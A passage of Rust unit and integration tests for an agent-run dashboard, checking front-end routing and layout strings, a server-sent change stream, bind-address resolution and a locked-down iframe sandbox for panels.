21237                    .unwrap()
21238                    .iter()
21239                    .any(|f| &f["pair"] == id)
21240            );
21241            assert!(
21242                !field["changed"]
21243                    .as_array()
21244                    .unwrap()
21245                    .iter()
21246                    .any(|f| &f["pair"] == id)
21247            );
21248        }
21249        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21250            group["id"].as_u64().unwrap() as usize;
21251        assert!(
21252            QuestionView::of(q, &store, None).posting_view.is_none(),
21253            "group and trigger IDs cannot collide"
21254        );
21255    }
21256
21257    #[test]
21258    fn a_question_view_carries_markdown_for_each_thread_turn() {
21259        let home = TempDir::new().unwrap();
21260        let store = ask::Questions::at(home.path().join("questions"));
21261        let mut q = Question::new(
21262            "run".to_owned(),
21263            "implement".to_owned(),
21264            "impl-A".to_owned(),
21265            "which?".to_owned(),
21266            String::new(),
21267            Vec::new(),
21268        );
21269        q.say("plain words").unwrap();
21270        q.reply("use **this**", Vec::new()).unwrap();
21271        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21272        let bodies = &v["thread_bodies_md"];
21273        assert_eq!(bodies.as_array().unwrap().len(), 2);
21274        assert!(!bodies[0].to_string().contains("strong"));
21275        assert!(bodies[1].to_string().contains("strong"));
21276    }
21277
21278    #[test]
21279    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21280        let home = TempDir::new().unwrap();
21281        let store = ask::Questions::at(home.path().join("questions"));
21282        let mut q = Question::new(
21283            "run".to_owned(),
21284            "conduct".to_owned(),
21285            "conduct".to_owned(),
21286            "which?".to_owned(),
21287            String::new(),
21288            Vec::new(),
21289        );
21290        q.say("plain words").unwrap();
21291        q.thread.push(ask::Turn {
21292            who: ask::Who::Agent,
21293            body: "Settled as `merge`".to_owned(),
21294            at: jiff::Timestamp::now(),
21295            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21296        });
21297        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21298        let notes = &v["thread_notes_md"];
21299        assert_eq!(notes.as_array().unwrap().len(), 2);
21300        assert!(notes[0].is_null());
21301        let text = notes[1].to_string();
21302        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21303        assert!(APP_JS.contains("ask-turn-note"));
21304    }
21305
21306    #[test]
21307    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21308        // The land panel defers to `run.status` for merged, and labels a
21309        // recorded-open PR on any finished run (superseded, blocked, ...) as
21310        // last seen, never as live state.
21311        assert!(APP_JS.contains("function landView(run, raw) {"));
21312        assert!(
21313            APP_JS.contains(
21314                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21315            )
21316        );
21317        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21318        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21319        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21320        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21321    }
21322
21323    #[test]
21324    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21325        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21326        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21327        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21328        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21329    }
21330
21331    #[test]
21332    fn review_rounds_label_a_distinct_verified_head() {
21333        assert!(APP_JS.contains("round.verified_head"));
21334        assert!(APP_JS.contains("verified HEAD"));
21335        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21336    }
21337
21338    #[test]
21339    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21340        // A blocked task's chip and note must not fall back to a queued-like
21341        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21342        // itself by e11fc58 but never checked here.
21343        assert!(APP_JS.contains("blocked: { glyph:"));
21344        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21345
21346        // `blocked_by` mixes task ids and question ids in the same list, and
21347        // the client can only tell them apart by checking each id against
21348        // what it actually knows - never by guessing from the id's shape.
21349        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21350        assert!(
21351            APP_JS.contains(
21352                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21353            ),
21354            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21355        );
21356        // The classification must key off `status_str`, never off `blocked_by`
21357        // or `block_reason` merely being present - both can survive briefly
21358        // on a task a hold or a dead daemon just moved off `blocked`.
21359        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21360
21361        // A question a task is blocked on gets its own node in the same
21362        // dependency graph, not just a task-shaped node with nothing known
21363        // about it.
21364        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21365        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21366        assert!(
21367            APP_JS.contains("location.hash = \"#/questions\";"),
21368            "a question node must jump to the Questions screen, not pretend to be a task"
21369        );
21370
21371        // `Task::answers` - decisions already made - are shown as a record on
21372        // the card, the same disclosure style as the full instruction.
21373        assert!(APP_JS.contains("Resolved questions"));
21374        assert!(APP_JS.contains("r.answersList.append("));
21375        assert!(APP_CSS.contains(".task-answers"));
21376        {
21377            let start = APP_JS
21378                .find("function updateTalkTaskRow")
21379                .expect("updateTalkTaskRow");
21380            let body = &APP_JS[start..];
21381            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21382            assert!(
21383                body.contains(
21384                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21385                ),
21386                "a chat-filed task row must link to the task page"
21387            );
21388            assert!(
21389                !body.contains("#/runs/") && !body.contains("#/queue/"),
21390                "the row must not branch to a run or the queue card"
21391            );
21392            assert!(APP_CSS.contains(".talk-task-link"));
21393        }
21394    }
21395
21396    #[test]
21397    fn a_task_notification_links_to_the_task_page() {
21398        // A task notice opens the task detail page, not the Backlog card.
21399        let start = APP_JS
21400            .find("function noticeLink(")
21401            .expect("noticeLink exists");
21402        let body = &APP_JS[start..];
21403        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21404        assert!(
21405            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21406            "a task notice's link must target the task page"
21407        );
21408        assert!(
21409            !body.contains("#/queue/"),
21410            "regression: the task link must not go back to the Backlog route"
21411        );
21412        assert!(
21413            APP_JS.contains(
21414                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21415            ),
21416            "`#/tasks/<id>` must parse into the task route"
21417        );
21418
21419        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21420        assert!(
21421            APP_JS.contains(
21422                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21423            ),
21424            "`#/queue/<id>` must parse into a route carrying that id"
21425        );
21426
21427        // And the Backlog view has to actually land on the card once it can
21428        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21429        // so a focus set before the queue has loaded is retried once it has.
21430        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21431        assert!(APP_JS.contains("function consumeQueueFocus()"));
21432        assert!(APP_JS.contains("jumpToTask(id)"));
21433    }
21434
21435    #[test]
21436    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21437        let start = APP_JS
21438            .find("function noticeCoveredBy(")
21439            .expect("noticeCoveredBy exists");
21440        let body = &APP_JS[start..];
21441        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21442
21443        // Historical associations are informational, even for open questions.
21444        assert!(body.contains("Associated question ${short}"));
21445        assert!(!body.contains("el(\"a\""));
21446
21447        // A resolved question displays status rather than an actionable link
21448        assert!(body.contains("(resolved)"));
21449        assert!(body.contains("(closed)"));
21450
21451        let start = APP_JS
21452            .find("function renderNotifications()")
21453            .expect("renderNotifications exists");
21454        let body = &APP_JS[start..];
21455        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21456
21457        // Only a server-resolved answerable question supplies a response link.
21458        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21459        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21460        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21461        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21462    }
21463
21464    /// Chat rows are two lines at every width: the title alone, then the
21465    /// shrinkable secondary info.
21466    #[test]
21467    fn chat_rows_put_the_title_alone_on_the_first_line() {
21468        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21469        assert!(APP_CSS.contains(
21470            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21471        ));
21472        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21473        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21474    }
21475
21476    #[test]
21477    fn run_rows_put_the_title_alone_on_the_first_line() {
21478        assert!(
21479            APP_CSS.contains(
21480                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21481            )
21482        );
21483        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21484        assert!(APP_JS.contains("class: \"card run-card\""));
21485        assert!(APP_JS.contains("class: \"repo run-id\""));
21486    }
21487
21488    /// Wide screens get a master/detail layout built from the views a phone
21489    /// drills into. These are string assertions: they pin the contract between
21490    /// the three assets, not how it looks.
21491    #[test]
21492    fn wide_screens_show_list_and_preview_side_by_side() {
21493        // One breakpoint, spelled the same in the script and the stylesheet.
21494        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21495        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21496        assert!(APP_CSS.contains("main[data-split]"));
21497        assert!(APP_CSS.contains("body[data-split]"));
21498
21499        // The route -> panes table, and a narrow screen opting out of it.
21500        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21501        assert!(
21502            APP_JS.contains(
21503                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21504            )
21505        );
21506        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21507        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21508        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21509
21510        // Selection is derived from the route, and only ever paints a row.
21511        assert!(APP_JS.contains("function markSelected() {"));
21512        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21513        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21514        // The dense row must override the stacked card the 720px block sets up.
21515        assert!(
21516            APP_CSS.contains(
21517                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21518            )
21519        );
21520
21521        // Independent scrolling: the page stops scrolling, each pane does.
21522        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21523        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21524        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21525        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21526
21527        // A refresh must never navigate: the loaders still check that their
21528        // subject is the one on screen, and crossing the breakpoint only
21529        // re-reads the hash.
21530        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21531        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21532        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21533        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21534
21535        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21536        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21537    }
21538
21539    #[test]
21540    fn panel_sandbox_carries_exactly_popups() {
21541        let needle = "sandbox: \"";
21542        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21543        assert_eq!(
21544            matches.len(),
21545            1,
21546            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21547        );
21548        let start = matches[0].0 + needle.len();
21549        let end = APP_JS[start..]
21550            .find('"')
21551            .expect("sandbox attribute value must be terminated by a closing quote");
21552        let val = &APP_JS[start..start + end];
21553        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21554        let expected: std::collections::BTreeSet<&str> =
21555            ["allow-popups", "allow-popups-to-escape-sandbox"]
21556                .into_iter()
21557                .collect();
21558        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21559        assert!(
21560            !tokens.contains("allow-scripts"),
21561            "allow-scripts must never be present in sandbox"
21562        );
21563        assert!(
21564            !tokens.contains("allow-same-origin"),
21565            "allow-same-origin must never be present in sandbox"
21566        );
21567    }
21568
21569    #[test]
21570    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21571        // consumeQueueFocus() clears an active Backlog search before it can
21572        // scroll to the target card (the sections list is hidden while a
21573        // search is showing), by recursing back into renderQueue(). The
21574        // fixer's first cut nulled state.queueFocus before that recursive
21575        // call, so the second pass saw nothing to jump to and the jump was
21576        // silently dropped whenever a notification's link was opened with a
21577        // stale search still active. state.queueFocus must only be cleared
21578        // right before jumpToTask() actually runs.
21579        assert!(
21580            APP_JS.contains(
21581                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21582            ),
21583            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21584             recursive renderQueue() call has nothing left to jump to"
21585        );
21586        assert!(
21587            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21588            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21589             arrives later still gets it"
21590        );
21591        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21592        assert!(APP_JS.contains("is not in the current Backlog."));
21593        assert!(APP_JS.contains("li.card[data-task-id=\""));
21594        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21595        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21596        assert!(APP_CSS.contains(".card-permalink"));
21597        assert!(APP_CSS.contains(".queue-focus-status"));
21598        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21599    }
21600
21601    #[test]
21602    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21603        // The task's own repro: only the link text inside .notice-meta was
21604        // clickable, so a tap on the message, the timestamp, or the card's
21605        // padding did nothing - on a phone that reads as "the card doesn't
21606        // work" even though the tiny link inside it did. Mark read / Dismiss
21607        // must keep working independently of this: `.closest("a, button")`
21608        // is what lets a tap that actually lands on those elements fall
21609        // through instead of being hijacked into a navigation.
21610        assert!(
21611            APP_JS.contains(
21612                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21613            ),
21614            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21615        );
21616    }
21617
21618    #[test]
21619    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21620        assert!(
21621            APP_JS.contains("round.verified_head !== round.head"),
21622            "a round that verified an earlier commit must be visibly distinct from one that \
21623             verified the head reviewers are looking at now"
21624        );
21625        assert!(
21626            APP_JS.contains("round.verified_at"),
21627            "when a check ran must be on the wire, not just which commit"
21628        );
21629        assert!(
21630            APP_JS.contains("resource_blocked"),
21631            "a command magi never got to run (shared build cache contention) must not render \
21632             the same as a command that ran and failed"
21633        );
21634    }
21635
21636    #[test]
21637    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21638        // Every KPI tile but Total runs and Completion names an exact
21639        // RunStatus and hands it to openRunsFiltered(), which is what wires
21640        // the click into state.runsFilter.status (matchesFilter's own
21641        // status check) rather than the coarser runsStateFilter chips. Each
21642        // status literal here must be one of the strings runSection() (and
21643        // isStale()) actually compare a run's own `status` field against -
21644        // a status this dashboard invented would filter to nothing.
21645        assert!(
21646            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21647            "every KPI tile built through statusTile() must route its click through \
21648             openRunsFiltered, the single place that sets the Runs filter"
21649        );
21650        for (label, status) in [
21651            ("Merged", "merged"),
21652            ("Ready", "ready"),
21653            ("Blocked", "blocked"),
21654            ("Stalled", "stalled"),
21655        ] {
21656            let call = format!("statusTile(\"{label}\", t.{status}, ");
21657            assert!(
21658                APP_JS.contains(&call),
21659                "expected the {label} KPI tile built via {call}..."
21660            );
21661            assert!(
21662                APP_JS.contains(&format!("status === \"{status}\"")),
21663                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21664                 compare a run against, not one invented only for the stats tile"
21665            );
21666        }
21667        assert!(
21668            APP_JS.contains("function openRunsFiltered(status)"),
21669            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21670        );
21671        assert!(
21672            APP_JS.contains(
21673                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21674            ),
21675            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21676        );
21677        // applyRoute() only flips which view is visible for a plain `#runs`
21678        // hash - it does not itself redraw the list (see applyRoute's own
21679        // handling below) - so openRunsFiltered must call renderRuns()
21680        // itself, and must call applyRoute() too so the view flips even
21681        // when the hash string doesn't change (the operator may already be
21682        // on the Runs view when a tile is tapped, which fires no
21683        // hashchange event at all).
21684        assert!(
21685            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21686            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21687             hashchange event that may never fire"
21688        );
21689    }
21690
21691    #[test]
21692    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21693        // A stats tile can leave state.runsFilter.status set to something
21694        // done-by-construction (e.g. "merged") - picking "Active" afterward
21695        // must drop it the same way an incompatible tree section is already
21696        // dropped, or the Runs list renders permanently empty with no way
21697        // for the operator to tell why.
21698        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21699        assert!(
21700            APP_JS.contains(
21701                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21702            ),
21703            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21704             guard for an incompatible tree section"
21705        );
21706    }
21707
21708    #[test]
21709    fn every_stats_queue_tile_names_a_real_queue_section() {
21710        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21711        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21712        // (consumeQueueSectionFocus finds no matching <details> and drops
21713        // the focus) rather than fail loudly, so pin every key against the
21714        // section list it has to resolve against.
21715        assert!(
21716            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21717            "every queue tile built through sectionTile() must route its click through \
21718             openQueueSectionFocus"
21719        );
21720        for key in ["upnext", "running", "done", "held", "blocked"] {
21721            assert!(
21722                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21723                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21724            );
21725        }
21726        // Queued and Failed intentionally both resolve to "upnext" - the
21727        // same section queueSection() itself files them under - rather than
21728        // getting a section each.
21729        for line in [
21730            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21731            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21732            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21733            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21734            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21735            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21736        ] {
21737            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21738        }
21739    }
21740
21741    #[test]
21742    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21743        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21744        // above for the section-focus channel a stats queue tile drives:
21745        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21746        // through the stale-search-clear recursion into renderQueue(), and
21747        // clear it only once revealQueueSection() is actually about to run -
21748        // the same trap that once silently dropped a task-focus jump.
21749        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21750        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21751        assert!(APP_JS.contains("function revealQueueSection(details)"));
21752        assert!(
21753            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21754            "renderQueue() must consume both focus channels on every pass"
21755        );
21756        assert!(
21757            APP_JS.contains(
21758                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21759            ),
21760            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21761             the recursive renderQueue() call has nothing left to reveal"
21762        );
21763        assert!(
21764            APP_JS.contains(
21765                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21766            ),
21767            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21768        );
21769        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21770        // task-focus form of the hash - a plain `#queue` navigation only
21771        // flips which view is visible. openQueueSectionFocus() must
21772        // therefore call renderQueue() itself, and applyRoute() too so the
21773        // view flips even when the hash doesn't change (the Backlog may
21774        // already be open when a tile is tapped, firing no hashchange
21775        // event at all).
21776        assert!(
21777            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21778            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21779             hashchange event that may never fire"
21780        );
21781    }
21782
21783    #[tokio::test]
21784    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21785        let f = Fixture::start().await;
21786
21787        let mut socket = tokio::net::TcpStream::connect(f.addr)
21788            .await
21789            .expect("connect");
21790        socket
21791            .write_all(
21792                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21793            )
21794            .await
21795            .expect("write request");
21796
21797        // Read until the first event arrives rather than to end of stream: the
21798        // stream is endless by design, which is the point of the route.
21799        let mut seen = String::new();
21800        let mut buf = [0u8; 1024];
21801        while !seen.contains("event: change") {
21802            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21803                .await
21804                .expect("the stream must speak within five seconds")
21805                .expect("read");
21806            assert!(read > 0, "the server closed the change stream: {seen}");
21807            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21808        }
21809
21810        assert!(
21811            seen.to_lowercase()
21812                .contains("content-type: text/event-stream"),
21813            "the browser only reconnects automatically for a real SSE stream: {seen}"
21814        );
21815        let data = seen
21816            .lines()
21817            .find_map(|l| l.strip_prefix("data:"))
21818            .expect("a data line");
21819        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21820        assert!(
21821            payload["queue_rev"].is_u64()
21822                && payload["runs_rev"].is_u64()
21823                && payload["questions_rev"].is_u64()
21824                && payload["talks_rev"].is_u64()
21825                && payload["notifications_rev"].is_u64()
21826                && payload["loop_rev"].is_u64(),
21827            "the client needs one revision per store to know what to refetch, \
21828             and `talks_rev` is the only notification a standing talk gets - a \
21829             phone whose radio slept through a turn learns about it here, as \
21830             does one whose operator started the loop from another device: \
21831             {payload}"
21832        );
21833
21834        // The front end re-polls health on a timer and on wake, and takes the
21835        // revisions from that answer whenever the stream is not up. So health
21836        // has to carry every key the stream carries: a phone on a link that
21837        // will not hold an SSE connection is exactly the phone that must still
21838        // notice a question, and a missing key there is not a 500 but a UI
21839        // that quietly stops updating.
21840        let health = f.get("/api/health").await.json();
21841        for key in [
21842            "queue_rev",
21843            "runs_rev",
21844            "questions_rev",
21845            "talks_rev",
21846            "notifications_rev",
21847            "loop_rev",
21848        ] {
21849            assert!(
21850                health[key].is_u64(),
21851                "health is the change stream's fallback and is missing `{key}`: {health}"
21852            );
21853        }
21854    }
21855
21856    #[tokio::test]
21857    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21858        let f = Fixture::start().await;
21859        let before = f.get("/api/health").await.json()["talks_rev"]
21860            .as_u64()
21861            .expect("talks_rev");
21862
21863        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21864        std::thread::sleep(Duration::from_millis(10));
21865        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21866        on_disk.turns.push(crate::talk::Turn {
21867            sender: None,
21868            breaks: Some(Vec::new()),
21869            messages: Vec::new(),
21870            posted_by: None,
21871            who: crate::talk::Who::Operator,
21872            body: "a new turn".to_owned(),
21873            at: Timestamp::now(),
21874            attachments: Vec::new(),
21875            usage: None,
21876        });
21877        f.talks().put(&mut on_disk).expect("record a turn");
21878
21879        let after = tokio::time::timeout(Duration::from_secs(5), async {
21880            loop {
21881                let revision = f.get("/api/health").await.json()["talks_rev"]
21882                    .as_u64()
21883                    .unwrap();
21884                if revision != before {
21885                    break revision;
21886                }
21887                tokio::time::sleep(Duration::from_millis(50)).await;
21888            }
21889        })
21890        .await
21891        .expect("shared monitor observes external turn");
21892        assert_ne!(
21893            before, after,
21894            "a phone must be able to notice a talk's reply without polling every store"
21895        );
21896    }
21897
21898    #[test]
21899    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21900        // The CLI shows the default in `--help` and parses whatever comes
21901        // back, so the two directions have to agree or `--bind auto` breaks
21902        // the moment someone copies the help text.
21903        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21904            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21905        }
21906        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21907        assert!("everywhere".parse::<Bind>().is_err());
21908    }
21909
21910    #[test]
21911    fn an_explicit_bind_address_is_taken_verbatim() {
21912        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21913
21914        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21915
21916        assert_eq!(addr, asked);
21917        assert!(
21918            warning.is_none(),
21919            "an operator who named an address gets no lecture"
21920        );
21921    }
21922
21923    #[test]
21924    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21925        let (addr, warning) = resolve_bind(&Bind::Auto);
21926
21927        // This has to hold on a CI runner with no `tailscale` and on a dev box
21928        // with one, so the invariant asserted is the one shared by both
21929        // outcomes: the address is either a real tailnet address offered
21930        // without comment, or loopback with an explanation. What must never
21931        // happen is a silent fallback - an operator told "listening on
21932        // 127.0.0.1" with no reason would go looking for a firewall.
21933        match addr {
21934            IpAddr::V4(ip) if is_tailnet(&ip) => {
21935                assert!(warning.is_none(), "a tailnet address needs no warning");
21936            }
21937            other => {
21938                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21939                let warning = warning.expect("a fallback has to explain itself");
21940                assert!(
21941                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21942                    "the warning says what happened and what it costs: {warning}"
21943                );
21944            }
21945        }
21946    }
21947
21948    #[test]
21949    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21950        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21951        // boundary cases are what stop us binding to some other tool's idea of
21952        // an address.
21953        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21954        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21955        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21956        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21957        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21958    }
21959
21960    #[test]
21961    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21962        let ids = vec![
21963            "20260902-140501-aaaa".to_owned(),
21964            "20260902-140502-aabb".to_owned(),
21965        ];
21966
21967        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21968        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21969        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21970
21971        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21972        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21973        assert_eq!(short, "20260902-140502-aabb");
21974    }
21975    #[tokio::test]
21976    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21977        // The prompt tells agents to reference attachments by bare filename.
21978        // A document served at `.../panel` resolves `shot.png` against its own
21979        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21980        // panel written exactly as instructed showed broken images. Caught by
21981        // looking at a real one in a browser, not by reading the code.
21982        let fx = Fixture::start().await;
21983        let id = panel(
21984            &fx,
21985            "<img src=\"shot.png\">",
21986            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21987        );
21988
21989        // The frame's own URL ends in a filename, so its siblings are reachable.
21990        let doc = fx
21991            .get(&format!("/api/questions/{id}/panel/index.html"))
21992            .await;
21993        assert_eq!(doc.status, 200, "{}", doc.body);
21994        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21995
21996        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21997        assert_eq!(sibling.status, 200, "{}", sibling.body);
21998        assert_eq!(sibling.header("content-type"), Some("image/png"));
21999        assert_eq!(
22000            sibling.header("content-security-policy"),
22001            Some(PANEL_CSP),
22002            "the sibling route must carry the same policy as the asset route"
22003        );
22004
22005        // The original spelling keeps working: HEAD on it is how the front end
22006        // decides whether to mount a frame at all.
22007        assert_eq!(
